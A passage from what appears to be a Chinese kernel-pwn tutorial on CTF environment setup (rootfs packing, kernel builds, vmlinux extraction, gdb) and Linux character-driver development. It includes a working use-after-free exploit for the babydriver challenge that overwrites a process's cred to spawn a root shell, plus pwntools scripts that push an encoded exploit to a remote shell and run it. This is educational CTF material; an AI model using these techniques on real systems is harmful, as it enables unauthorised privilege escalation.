  • setsid cttyhack setuidgid 1000 sh 这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。
  • 有的题目可能存在 poweroff -d 120 -f & 命令用来定时关机,在本地调试的时候最好注释掉。

打包文件系统

本地调试的时候需要多次修改 exp 以及 init ,因此为了方便最好还是选择打包文件系统,而不是上传文件。注意这里的 rootfs 是手动从 rootfs.cpio 中解压出来的。

#!/bin/sh

cp -r rootfs rootfs_tmp

#musl-gcc -static -masm=intel -pthread exp.c -o exp
gcc -static -masm=intel -pthread exp.c -o exp
cp exp rootfs_tmp/

cd rootfs_tmp || exit
find . | cpio -o -H newc >../rootfs.cpio
cd ..

sudo rm -rf rootfs_tmp

其中 exp.c 文件内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>

int main() {
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);
    // 释放 fd1
    close(fd1);
    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if (pid < 0) {
        puts("[*] fork error!");
        exit(0);
    } else if (pid == 0) {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);
        if (getuid() == 0) {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    } else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

如果 gcc 编译的 exp 过大可以考虑使用 musl-gcc 进行编译,不过例如 userfault_fd 的相关功能 musl 没有,并不能完全替代 gcc 。

musl-gcc 的具体安装方式可以参考这篇文章的环境搭建里面的编译脚本,编译完成之后 musl-gcc 就在安装目录下的 bin 目录下,添加环境变量即可使用。

另外题目附件中没有 flag 文件,可以手动在 rootfs 目录下创建一个 flag 文件用于测试。

运行 pack.shboot.sh 可以看到 exp 已经打包到文件系统中,运行 exp 成功提权。
在这里插入图片描述

文件远程传输方式

目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输

from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()
from pwn import *
import time, os
#context.log_level = "debug"

p = process('./boot.sh')#remote("127.0.0.1", 5555)

os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
    print('now line: ' + str(count))
    line = f.readline().replace("\n","")
    if len(line)<=0:
        break
    cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
    p.sendline(cmd) # send lines
    #time.sleep(0.02)
    #p.recv()
    p.recvuntil("/ $")
    count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()

获取 vmlinux

由于 bzImage 是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux 镜像用于提供调试符号,以及查找 gadget 和关键结构偏移。

下面提供几个获取 vmlinux 的方法。

编译内核

编译内核的好处是可以配置编译文件,并且可以编译出带调试符号的文件,gdb 调试的时候可以查看源码。
为了方便调试,需要从这个网站下载与题目所给内核版本相同的内核源码并编译出带调试符号的内核文件。

首先查看题目所给内核版本
在这里插入图片描述
下载对应版本内核并解压
在这里插入图片描述
查看题目所给内核编译时使用的 gcc 版本
在这里插入图片描述
由于编译该内核的所需的 gcc-5 已经无法在 ubuntu 18.04 及以上版本系统中下载安装,因此编译该内核需要再 ubuntu 16.04 中进行。 下面的图中的操作之所以是在高版本 ubuntu 中进行是因为当时是可以的。

输入命令,查看 gcc-5 可选的版本

apt-cache policy gcc-5

找到了与编译题目内核的 gcc 比较接近的版本(这里我已经安装过了)
在这里插入图片描述
安装

sudo apt-get install gcc-5=5.4.0-6ubuntu1~16.04.12

更新到 update-alternatives 上(参考编译 ollvm 时 gcc 版本的设置)

sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5

切换到 gcc-5
在这里插入图片描述
在这里插入图片描述

之后编辑配置文件,在 linux-4.4.72 目录下输入

make menuconfig

保证勾选如下配置(默认都是勾选了的):

  • Kernel hacking —> Kernel debugging
  • Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
  • Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
  • kernel hacking —> Compile the kernel with frame pointers

一般来说不需要有什么改动,直接保存退出即可。

设置保存在 .config 文件中。
为了防止后面编译报下面这个错

make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'.  Stop.
make: *** [Makefile:1868: certs] Error 2

需要编辑 .config 文件,直接把下面这个字符串删掉。
在这里插入图片描述
之后编译可能还会缺少一些依赖,为了尽可能一次成功,先把下面这些装一下。

sudo apt install flex
sudo apt install bison
sudo apt install libelf-dev 
sudo apt install libssl-dev
sudo apt install dwarves

之后运行下面这条命令进行编译

make bzImage -j4

最后生成的 vmlinux 。
在这里插入图片描述

vmlinux-to-elf

此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。

安装:

sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

使用方法:

vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

与后面两个方法相比,这个方法获取的 vmlinux 带调试符号,不过结构体相关的调试符号只有编译内核可以获得。
在这里插入图片描述

下载镜像

有的内核题可以直接下载下载现有镜像
在这里插入图片描述
使用如下命令列出可下载内核镜像

sudo apt search linux-image-

找到对应版本
在这里插入图片描述

sudo apt download linux-image-unsigned-5.8.0-59-generic

下载下来是一个deb文件,解压有

dpkg -X ./linux-image-unsigned-5.8.0-59-generic_5.8.0-59.66~20.04.1_amd64.deb extract

文件如下

$ tree
.
├── boot
│   └── vmlinuz-5.8.0-59-generic
└── usr
    ├── lib
    │   └── linux
    │       └── triggers
    └── share
        └── doc
            └── linux-image-unsigned-5.8.0-59-generic
                ├── changelog.Debian.gz
                └── copyright

8 directories, 3 files

其中 vmlinuz-5.8.0-59-generic 是压缩版的镜像,需要解压出 vmlinux 。
首先获取 1f 8b 08 00 的偏移:

od -t x1 -A d vmlinuz-5.8.0-59-generic | grep "1f 8b 08 00"

解压,其中 skip 的值为 1f 8b 08 00 的偏移。

dd if=vmlinuz-5.8.0-59-generic bs=1 skip=16808|zcat>vmlinux

bzImage 解压

使用 extract-vmlinux 脚本从 bzImage 获取 vmlinux 。
脚本不长,直接在下面贴一下。

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it's a valid ELF
	# TODO: find a better to way to check that it's really vmlinux
	#       and not just an elf
	readelf -h $1 > /dev/null 2>&1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the "tr" filter is to work around older versions of
	# "grep" that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
	do
		pos=${pos%%:*}
		tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s "$img" ]
then
	echo "Usage: $me <kernel-image>" >&2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行如下命令就可以解压出 vmlinux 了。

./extract-vmlinux ./bzImage > vmlinux

gdb 调试

首先需要对 boot.sh 做如下修改:

  • 添加 nokaslr 关闭地址随机化。
  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \
  -enable-kvm \
  -monitor /dev/null -m 64M \
  --nographic \
  -smp cores=1,threads=1 \
  -cpu kvm64,+smep \
  -s

为了加载 babydriver.ko 的符号信息,需要获取其代码段的地址。因此需要修改 init 内容获取 root 权限。

重新打包并启动系统,查询代码段地址。
在这里插入图片描述
另外 lsmod 也可以查询模块加载基址。
在这里插入图片描述
创建 gdb.sh 调试脚本,

#!/bin/sh

gdb -q \
  -ex "file $(find . -name vmlinux)" \
  -ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \
  -ex "target remote localhost:1234" \
  -ex "b babyopen" \
  -ex "c"

运行 boot.sh 启动 linux ,运行 gdb.sh 附加到 linux,之后运行 exp,成功在断点处断下来。
在这里插入图片描述

编译 busybox

这个不是做内核题所需的步骤,只是介绍一下内核 pwn 中的文件系统是怎么来的。因为题目提供的文件系统有相关的配置文件,因此以题目提供的文件系统为准。

kernel 题一般采用的是轻量化的 busybox 文件系统。

在官网下载 busybox 源码并解压。

之后安装依赖:

sudo apt-get install libncurses5-dev libncursesw5-dev

在 busybox 目录下输入如下命令进入图形界面配置编译选项。

make menuconfig

进入 Settings
在这里插入图片描述

选择静态编译。如果不勾选的话,需要自行配置libc库,这样步骤会很繁琐。
在这里插入图片描述
设置安装目录
在这里插入图片描述
这里我们选择的是 ./rootfs
在这里插入图片描述
最后保存并退出。
在这里插入图片描述
编译文件

make -j4
make install

可以看到生成了 rootfs 文件夹,这就是编译好的文件系统。
在这里插入图片描述

Linux 内核模块

什么是 LKMs

LKMs 称为可加载核心模块(内核模块),其可看作是运行在内核空间的可执行程序,类似于 Linux 下的 ELF,包括:

  • 驱动程序
    • 设备驱动
    • 文件系统驱动
  • 内核拓展模块

LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。

模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。

模块通常用来实现一种文件系统,一个驱动程序或者其它内核上层的功能。

Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic
kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。

通常情况下 Kernel 漏洞的发生也常见于加载的 LKMs 出现问题。

相关指令

  • insmod:将制定模块加载到内核中
  • rmmod:从内核中卸载制定模块
  • lsmod:列出已经加载的模块
  • modprobe:添加或删除模块,modprobe在加载模块时会查找依赖关系

文件系统

在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。
图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。
在这里插入图片描述
应用程序和 VFS 之间的接口是系统调用,而 VFS 与文件系统以及设备文件之间的接口是 file_operations 结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。

file 结构体

file 结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file 。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file 的指针通常被命名为 filefilp
linux-5.17/include/linux/fs.h: file

struct file {
	union {
		struct llist_node	fu_llist;
		struct rcu_head 	fu_rcuhead;
	} f_u;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	/*
	 * Protects f_ep, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	enum rw_hint		f_write_hint;
	atomic_long_t		f_count;
	unsigned int 		f_flags;
	fmode_t			f_mode;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct hlist_head	*f_ep;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
	errseq_t		f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

inode结构体

VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。
include/linux/fs.h: inode

struct inode {
    umode_t         i_mode; // inode的权限
    unsigned short      i_opflags;
    kuid_t          i_uid; // inode所有者的id
    kgid_t          i_gid; // inode所属的群组id
    unsigned int        i_flags;
    ...
    dev_t           i_rdev; // 若是设备文件,此字段将记录设备的设备号
    loff_t          i_size; // inode所代表的文件大小
    struct timespec     i_atime; // inode最近一次的存取时间
    struct timespec     i_mtime; // inode最近一次的修改时间
    struct timespec     i_ctime; // inode的产生时间
    spinlock_t      i_lock; /* i_blocks, i_bytes, maybe i_size */
    unsigned short          i_bytes;
    unsigned int        i_blkbits;
    blkcnt_t        i_blocks; // inode所使用的block数,一个block为512字节
    ...
    union {
        struct pipe_inode_info  *i_pipe;
        struct block_device *i_bdev; // 若是块设备,为其对应的block_device结构体指针
        struct cdev     *i_cdev; // 若是字符设备,为其对应的cdev结构体指针
    };
    ...

查看 /proc/devices 文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:

$ cat /proc/devices
Character devices:
  1 mem
  4 /dev/vc/0
  4 tty
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 /dev/ptmx
  ...
Block devices:
259 blkext
  7 loop
  8 sd
  9 md
 11 sr
 65 sd
 ...

查看 /dev 目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号:

$ ls -al /dev
total 0
drwxr-xr-x    8 root     root          2940 May  8 14:17 .
drwxr-xr-x   11 root     root             0 May  8 14:18 ..
drwxr-xr-x    2 root     root            60 May  8 14:17 bsg
crw-rw----    1 root     root        5,   1 May  8 14:17 console

主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。

内核模块开发

Hello World模块

编写一个输出内容的内核模块。

首先在内核源码目录下创建一个用于编译内核模块的文件夹,这里我创建的文件夹的名称是 myko
在该目录下创建 myko.c ,内容如下:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void) {
    printk("Hello, world!\n");
    return 0;
}

static void hello_exit(void) {
    printk("Goodbye, cruel world!\n");
}

module_init(hello_init);
module_exit(hello_exit);
  • linux/module.hLinux内核模块变成必须包含的头文件

  • 头文件kernel.h包含了常用的内核函数

  • 头文件init.h包含了宏_init_exit,它们允许释放内核占用的内存。

  • hello_init函数是模块初始化函数,他会在内核模块被加载的时候执行,使用__init进行修饰,一般用它来初始化数据结构等内容;

  • hello_exit函数是模块的退出函数,他会在模块在退出的时候执行。

  • 函数module_init()clearnup_exit()是模块编程中最基本也是必须得两个函数,它用来指定模块加载和退出时调用的函数,这里加载的是我们上面定义好的两个函数,module_init()向内核注册模块提供新功能,而cleanup_exit()注销由模块提供的所用功能。

  • 这段代码中使用了printk函数,这是内核打印函数,可以使用dmesg指令来看到内核打印信息。

创建 Makefile ,内容如下:

obj-m := myko.o

KERNELDR := ~/Desktop/linux-5.17/

PWD := $(shell pwd)

modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules

moduels_install:
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install

clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

编译
在这里插入图片描述
生成 myko.ko 驱动
在这里插入图片描述
参考环境搭建,将其打包到文件系统中,然后启动系统。

可以看到,模块运行正常。
在这里插入图片描述

带参数的模块

myko.c 内容修改为:

#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>

MODULE_LICENSE("Dual BSD/GPL");

static char *whom = "world";
static int howmany = 1;
module_param(howmany, int, S_IRUGO);
module_param(whom, charp, S_IRUGO);

static int hello_init(void) {
    int i;
    for (i = 0; i < howmany; i++)
        printk("(%d) Hello, %s\n", i, whom);
    return 0;
}

static void hello_exit(void) {
    printk("Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);

参数必须使用module_param宏来声明,这个宏在moduleparam.h中定义。module_param需要三个参数:变量的名称、类型以及用于sysfs入口项的访问许可掩码,这个宏必须放在任何函数之外,通常在源文件头部。
在这里插入图片描述

字符设备驱动

字符设备驱动结构

cdev 结构体

cdev 为 linux 描述字符设备的一个结构。
include/linux/cdev.h

struct cdev {
    struct kobject kobj;         // 内嵌的kobject对象
    struct module *owner;        // 所属模块
    struct file_operations *ops; // 文件操作结构体
    struct list_head list;
    dev_t dev;                   // 设备号
    unsigned int count;
}

dev_t 定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:

MAJOR(dev_t dev)
MINOR(dev_t dev)

使用下面的宏可以用主设备号和次设备号生成 dev_t :

MKDEV(int major, int minor)

Linux 内核提供了一组函数用于操作 cdev 结构体:

void cdev_init(struct cdev *, struct file_operations *); // 用于初始化cdev的成员,并建立cdev和file_operations之间的连接
struct cdev *cdev_alloc(void); // 用于动态申请一个cdev内存
void cdev_put(struct cdev *p);
// 用向系统添加和删除一个cdev,完成字符设备的注册和注销
int cdev_add(struct cdev *, dev_t, unsigned); // 通常在字符设备驱动模块加载函数中调用
void cdev_del(struct cdev *); // 字符设备驱动模块卸载函数中调用

在调用 cdev_add() 函数向系统注册字符设备之前,应首先调用 register_chrdev_region()alloc_chrdev_region() 函数向系统申请设备号:

int register_chrdev_region(dev_t from, unsigned count, const char *name);
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name);

register_chrdev_region() 函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region() 用于设备号未知,向系统动态申请未被占用的设备号的情况。

file_operations 结构体

file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()write()read()close() 等系统调用时最终被内核调用。
include/linux/fs.h: file_operations

struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, loff_t, loff_t, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
    unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
    int (*check_flags)(int);
    int (*flock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
    ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
    int (*setlease)(struct file *, long, struct file_lock **);
    long (*fallocate)(struct file *file, int mode, loff_t offset,
              loff_t len);
    int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

下面对 file_operations 结构体中的主要成员简要介绍:
llseek() 函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
read() 函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
write() 函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write() 系统调用时,将得到 -EINVAL 返回值。
unlocked_ioctl() 提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。

字符设备驱动组成

这里以一个简单的内存读写驱动为例。

头文件、宏及设备结构体

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1

static int hello_major = 230;
static int hello_minor = 0;

module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);

struct hello_dev {
    struct cdev cdev;
    unsigned char mem[MAX_SIZE];
} * hello_devp;

加载与卸载设备驱动

static int __init hello_init(void) {
    int ret;
    dev_t devno = MKDEV(hello_major, hello_minor);
    if (hello_major)
        ret = register_chrdev_region(devno, 1, "myko");
    else {
        ret = alloc_chrdev_region(&devno, 0, 1, "myko");
        hello_major = MAJOR(devno);
    }
    if (ret < 0) return ret;
    hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
    if (!hello_devp) {
        unregister_chrdev_region(devno, 1);
        return -ENOMEM;
    }
    cdev_init(&hello_devp->cdev, &hello_fops);
    hello_devp->cdev.owner = THIS_MODULE;
    int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
    if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
    return 0;
}
module_init(hello_init);

static void __exit hello_exit(void) {
    cdev_del(&hello_devp->cdev);
    kfree(hello_devp);
    unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);

cdev_init 初始化 cdev 结构体,其中与驱动的 cdev 关联的 file_operations 结构体如下:

static const struct file_operations hello_fops = {
        .owner = THIS_MODULE,
        .llseek = hello_llseek,
        .read = hello_read,
        .write = hello_write,
        .unlocked_ioctl = hello_ioctl,
        .open = hello_open,
        .release = hello_releace,
};

使用文件私有数据

大多数Linux驱动遵循一个”潜规则”,那就是将文件的私有数据 private_data 指向设备结构体,再用 read()write()ioctl()llseek() 等函数通过 private_data 访问设备结构体。

static int hello_open(struct inode *id, struct file *filp) {
    filp->private_data = hello_devp;
    return 0;
}

static int hello_releace(struct inode *id, struct file *filp) {
    filp->private_data = NULL;
    return 0;
}

读写函数

static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_to_user(buf, dev->mem + *pos, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
    return count;
}

static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_from_user(dev->mem + *pos, buf, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
    return count;
}

由于用户空间不能直接访问内核空间的内存,因此借助了函数 copy_from_user() 完成用户空间缓冲区到内核空间的复制,copy_to_user() 完成内核空间到用户空间缓冲区的复制。它们的原型如下:

unsigned long copy_from_user(void *to, const void __user *from, unsigned long count);
unsigned long copy_to_user(void __user *to, const void *from, unsigned long count);

完全复制成功返回值为 0 ,如果复制失败,则返回负值。
读和写函数中的 __user 是一个宏,表明其后的指针指向用户空间,实际上更多地充当了代码自注释功能。

seek函数

seek() 函数对文件定位的起始地址可以是文件开头(SEEK_SET,0)、当前位置(SEEK_CUR,1)和文件尾(SEEK_END,2),这里只实现了支持从文件开头和当前位置的相对偏移。

static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
    if (op != 0 && op != 1) return -EINVAL;
    if (op == 1) offset += filp->f_pos;
    if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
    return filp->f_pos = offset;
}

ioctl函数

用来自定义的函数,这里自定义了清内存的函数。

static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct hello_dev *dev = filp->private_data;
    if (dev == NULL) {
        printk("[-] No device\n");
        return -EINVAL;
    }
    switch (cmd) {
        case MEM_CLEAR:
            memset(dev->mem, 0, sizeof(dev->mem));
            printk("[+] Clear success\n");
            break;
        default:
            printk("[-] Error command\n");
            return -EINVAL;
    }
    return 0;
}

完整代码

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;

module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);

struct hello_dev {
    struct cdev cdev;
    unsigned char mem[MAX_SIZE];
} * hello_devp;

static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);

static const struct file_operations hello_fops = {
        .owner = THIS_MODULE,
        .llseek = hello_llseek,
        .read = hello_read,
        .write = hello_write,
        .unlocked_ioctl = hello_ioctl,
        .open = hello_open,
        .release = hello_releace,
};

static int __init hello_init(void) {
    int ret;
    dev_t devno = MKDEV(hello_major, hello_minor);
    if (hello_major)
        ret = register_chrdev_region(devno, 1, "myko");
    else {
        ret = alloc_chrdev_region(&devno, 0, 1, "myko");
        hello_major = MAJOR(devno);
    }
    if (ret < 0) return ret;
    hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
    if (!hello_devp) {
        unregister_chrdev_region(devno, 1);
        return -ENOMEM;
    }
    cdev_init(&hello_devp->cdev, &hello_fops);
    hello_devp->cdev.owner = THIS_MODULE;
    int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
    if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
    return 0;
}
module_init(hello_init);

static void __exit hello_exit(void) {
    cdev_del(&hello_devp->cdev);
    kfree(hello_devp);
    unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);

static int hello_open(struct inode *id, struct file *filp) {
    filp->private_data = hello_devp;
    return 0;
}

static int hello_releace(struct inode *id, struct file *filp) {
    filp->private_data = NULL;
    return 0;
}

static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct hello_dev *dev = filp->private_data;
    if (dev == NULL) {
        printk("[-] No device\n");
        return -EINVAL;
    }
    switch (cmd) {
        case MEM_CLEAR:
            memset(dev->mem, 0, sizeof(dev->mem));
            printk("[+] Clear success\n");
            break;
        default:
            printk("[-] Error command\n");
            return -EINVAL;
    }
    return 0;
}

static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_to_user(buf, dev->mem + *pos, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
    return count;
}

static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_from_user(dev->mem + *pos, buf, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
    return count;
}

